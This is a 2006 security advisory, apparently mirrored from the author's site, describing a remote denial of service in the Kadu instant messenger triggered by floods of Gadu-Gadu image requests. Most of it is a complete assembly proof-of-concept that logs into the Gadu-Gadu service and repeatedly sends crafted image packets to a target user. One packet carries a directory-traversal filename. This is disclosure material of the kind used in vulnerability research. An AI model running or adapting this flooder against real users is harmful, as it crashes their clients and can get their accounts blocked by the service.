Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:11462
HistoryFeb 16, 2006 - 12:00 a.m.

Kadu Remote Denial Of Service Fun

2006-02-1600:00:00
vulners.com
8
Kadu Remote Denial Of Service Fun 
by Piotr Bania <[email protected]>
http://www.piotrbania.com
All rights reserved.


Original location: 	http://www.piotrbania.com/all/adv/kadu-fun.txt

Severity: 		Medium - remote denial of service.


Software affected:	Tested on Kadu 0.4.3, others maybe also
			affected.



0.   DISCLAIMER

Author takes no responsibility for any actions with provided informations or 
codes. The copyright for any material created by the author is reserved. Any 
duplication of codes or texts provided here in electronic or printed 
publications is not permitted without the author's agreement. 

I.   BACKGROUND

Kadu is a dynamically evolving instant messenger compatible with the Gadu-Gadu
protocol. It can be run on all platforms supporting the Qt toolkit 
(except Windows) - from www.kadu.net.


II.  DESCRIPTION

The problem takes place when Kadu receives large number of image send requests,
of course the main restriction here is the fact attacker must be added to victims
user list.

When such scenario occurs Kadu dies within the SIGPIPE signal, here is a little
back trace from GDB:

gdb) bt
#0  0xffffe410 in ?? ()
#1  0xbff3c238 in ?? ()
#2  0x0000001e in ?? ()
#3  0x0851d620 in ?? ()
#4  0xb7ec050b in __write_nocancel () from /lib/tls/i686/cmov/libpthread.so.0
#5  0x081a70f3 in gg_write ()
#6  0x081a75ed in gg_send_packet ()
#7  0x081a8050 in gg_image_request ()
#8  0x080f9e8a in GaduProtocol::sendImageRequest ()
#9  0x0813a27a in formatGGMessage ()
#10 0x080fdb43 in GaduProtocol::messageReceived ()
#11 0x08174267 in GaduProtocol::qt_invoke ()
#12 0xb79eb929 in QObject::activate_signal () from /usr/lib/libqt-mt.so.3
#13 0x081715f3 in GaduSocketNotifiers::messageReceived ()
#14 0x080fe257 in GaduSocketNotifiers::socketEvent ()
#15 0x080f918e in GaduSocketNotifiers::dataReceived ()
#16 0x08171b0b in GaduSocketNotifiers::qt_invoke ()
#17 0xb79eb929 in QObject::activate_signal () from /usr/lib/libqt-mt.so.3
#18 0xb79ec238 in QObject::activate_signal () from /usr/lib/libqt-mt.so

Moreover probably due to the restrictions done in Gadu-Gadu servers, the 
victim number is blocked (user can't send any messages) for a long
period of time. This is probably done, because everytime Kadu receives
the send image requests, it responds to the attacker with image request packet.
This action is probably detected by filters on Gadu-Gadu servers and the
number is blocked.


I would also like to add I'm really new on *nix based systems, so some of the
following informations may be wrong :)


III. THANKS

I would like to thank Jaroslaw Biedrzycki for helping me with the linux 
research.


IV. POC CODE

// --- SNIP ------------------------------------------------------------------
; Little Denial Of Service exploit for KADU, well it should also work
; for older Gadu-Gadu versions.
;
; (c) 2006 - Piotr Bania
; All rights reserved.
; http://www.piotrbania.com
;
;
; DISCLAIMER
;
; Author takes no responsibility for any actions with provided informations or 
; codes. The copyright for any material created by the author is reserved. Any 
; duplication of codes or texts provided here in electronic or printed 
; publications is not permitted without the author's agreement. 



include my_macro.inc

GG_PORT				equ 8074
GG_HOST				equ 217,17,41,88


GG_USER				equ 111111			; user
GG_PASS				equ "haslo",0			; haslo
GG_TARGET			equ 222222			; target			





go_exploit:


		call 	startup_gg
		@debug "connected",0


		mov 	eax,offset gg_seed
		call 	gg_get_packet


		push 	gg_seed
		@pushsz GG_PASS
		call 	gg_login_hash
		mov 	dword ptr [gg_pass_hash],eax

		mov 	ecx,gg_login_packet_size_h	
		mov 	eax,offset gg_login_packet_h
		call 	gg_send_packet

		call 	gg_get_packet
		mov 	eax,gg_type
		@check 	9,"Error: login failed!!!!"



		mov 	ecx,gg_new_status_packet_size_h
		mov 	eax,offset gg_new_status_packet_h	
		call 	gg_send_packet

		@debug 	"Connected :) Now flooding the target...",0


fuxor:
		mov 	ecx,gg_msg_packet_size_h
		mov 	eax,offset gg_msg_packet_h
		call 	gg_send_packet


		push 	10
		@callx 	Sleep


		mov 	ecx,gg_msg2_packet_size_h
		mov 	eax,offset gg_msg2_packet_h
		call 	gg_send_packet


		@callx 	GetTickCount			; it looks great when its pseudo randomized...

		mov 	dword ptr [gg_img_crc],eax
		mov 	dword ptr [gg_img2_crc],eax


		push 	10
		@callx 	Sleep
		jmp 	fuxor

exit:
		push 	0
		@callx 	ExitProcess



include debug_prot.inc
include tcp.inc


; ******************************************************************************
; DATADATADATADATADATADATADATADATADATADATADATADATADATADATADATADATADATADATADATA
; ******************************************************************************


; packet 0x01 (r)
gg_seed				dd 0

; packet gg login60 (s)
gg_login_packet_h:		dd 15h
				dd gg_login_packet_size
gg_login_packet:
				dd GG_USER
		gg_pass_hash	dd 0
				dd 02			; dostepny
				dd 20h			; gg version
				db 0
				db 31,33,3,7
				dw 66
				db 31,33,3,7
				dw 66
				db 255
				db 0beh
				db 0
				db 0
gg_login_packet_size		=$-offset gg_login_packet
gg_login_packet_size_h		=$-offset gg_login_packet_h


gg_new_status_packet_h:		dd 02h
				dd gg_new_status_packet_size
gg_new_status_packet:		dd 04h
				db "ZUJZUJZUJZUJZUJZUJ",0
				dd 0
gg_new_status_packet_size	=$-offset gg_new_status_packet
gg_new_status_packet_size_h	=$-offset gg_new_status_packet_h


IMG_SIZE_MAN			equ 44h, 04h, 00h, 00h
IMG_CRC_MAN			equ 69h, 9bh, 95h, 4bh


gg_msg_packet_h			dd 0bh
				dd gg_msg_packet_size
gg_msg_packet:			dd GG_TARGET
rand_num			dd 008e68c4h
				dd 28h
				db 0
				db 2
				dw gg_last_pack_size
gg_last_pack:			dw 0				; pozycja atrybutu w tekscie
				db 80h				; atrybuty czcionki
gg_rimage:			dw 0109h
gg_img_size:			db IMG_SIZE_MAN
gg_img_crc:			db IMG_CRC_MAN


gg_last_pack_size		=$-offset gg_last_pack
gg_msg_packet_size		=$-offset gg_msg_packet
gg_msg_packet_size_h		=$-offset gg_msg_packet_h		




comment $
44 04 00 00 			- size 
69 9B 95 4B 			- checksum
011E3B20  			6E 75 5F 74 65 78 74 2E 67 69 66 00 47 49 46 38  nu_text.gif.GIF8
$

gg_msg2_packet_h		dd 0bh
				dd gg_msg2_packet_size
gg_msg2_packet:			dd GG_TARGET
				dd 0
				db 04h,00,00,00
				db 00
				db 05h
gg_img2_size:			db IMG_SIZE_MAN
gg_img2_crc:			db IMG_CRC_MAN
				db "/../../../../../../../../../../../tmp/AAAAAAAAAAAAAAAAAAAAA.gif"
				db ".gif",0
				include gg_sniff/plik.inc
				db 0
gg_msg2_packet_size		=$-offset gg_msg2_packet
gg_msg2_packet_size_h		=$-offset gg_msg2_packet_h






gg_server_reply:		msg_status	dd 0
				msg_recipient	dd 0
				msg_seq		dd 0
			
						dd 0
			

gg_img_reply:			img_sender	dd 0
				img_seq		dd 0
				img_time	dd 0
				img_class	dd 0
				img_flag 	db 0
				img_size	dd 0
				img_crc		dd 0
			



; ******************************************************************************
; SOME MAIN PROCEDURES
; ******************************************************************************


gg_login_hash			proc
	pushad

	push        ebp
	mov         ebp,esp
	add	    ebp,PUSHA_STRUCT_SIZE
	push        esi
	push        edi
	mov         edi,dword ptr [ebp+8]
	mov         eax,dword ptr [ebp+0Ch]
	xor         esi,esi
	mov         cl,byte ptr [edi]
	test        cl,cl
	je          xl2
	push        ebx
xl1:	movsx       ecx,cl
	and         esi,0FFFFFF00h
	or          esi,ecx
	mov         ecx,20h
	mov         edx,esi
	xor         edx,eax
	add         edx,esi
	shl         esi,8
	xor         edx,esi
	shl         esi,8
	sub         edx,esi
	shl         esi,8
	xor         edx,esi
	mov         eax,edx
	mov         ebx,edx
	and         eax,1Fh
	sub         ecx,eax
	shr         ebx,cl
	mov         ecx,eax
	shl         edx,cl
	mov         cl,byte ptr [edi+1]
	or          ebx,edx
	inc         edi
	test        cl,cl
	mov         eax,ebx
	jne         xl1
	pop         ecx
xl2: 	pop         edi
	pop         esi
	pop         ebp
	mov 	    [esp+PUSHA_STRUCT._EAX],ebx
	popad
	ret

gg_login_hash			endp


; eax=what to send / ecx=size
gg_send_packet			proc
	pushad
	push	0
	push 	ecx
	push 	eax
	push 	dword ptr [gg_sock]
	@callx 	send
	@check -1,"Error: send()"	
	popad
	ret
gg_send_packet			endp


;eax = where to store
gg_get_packet			proc
	pushad

	push 	eax
	push 	0
	push 	8
	push 	offset gg_main_packet
	push 	dword ptr [gg_sock]
	@callx 	recv
	@check -1,"Error: gg_get_packet()! first recv()"
	pop 	eax

	
	cmp 	dword ptr [gg_len],0
	jle 	@fakme

	push 	0
	push 	dword ptr [gg_len]
	push 	eax
	push 	dword ptr [gg_sock]
	@callx 	recv
	@check -1,"Error: gg_get_packet()! second recv()"	

	@fakme:
	popad
	ret

gg_main_packet:
	gg_type			dd 0
	gg_len			dd 0
gg_get_packet			endp






startup_gg			proc

	pushad

	push    offset WSA_Data         
	push    0101h
	@callx  WSAStartup
	test 	eax,eax
	jz 	_xxx1
	xor 	eax,eax
	@check 0,"Error: cannot setup wsa!"


_xxx1:
	push    0	
	push    SOCK_STREAM
	push    AF_INET	
	@callx  socket
	@check -1,"Error: socket()"
	mov 	dword ptr [gg_sock],eax
	mov 	ebx,eax

	push 	GG_PORT
	@callx 	htons
	mov 	word ptr [gg_porto],ax
	

	push 	16
	push 	offset gg_addr
	push 	ebx
	@callx 	connect
	@check -1,"Error: cannot connect ;/"

	popad
	ret


gg_sock	   	dd 0

gg_addr:
	   	gg_proto   dw AF_INET           			
	   	gg_porto   dw 0
	   	gg_ip      db GG_HOST
		gg_s_zero  db 8 dup (0)	


startup_gg			endp


end start
// --- SNIP ------------------------------------------------------------------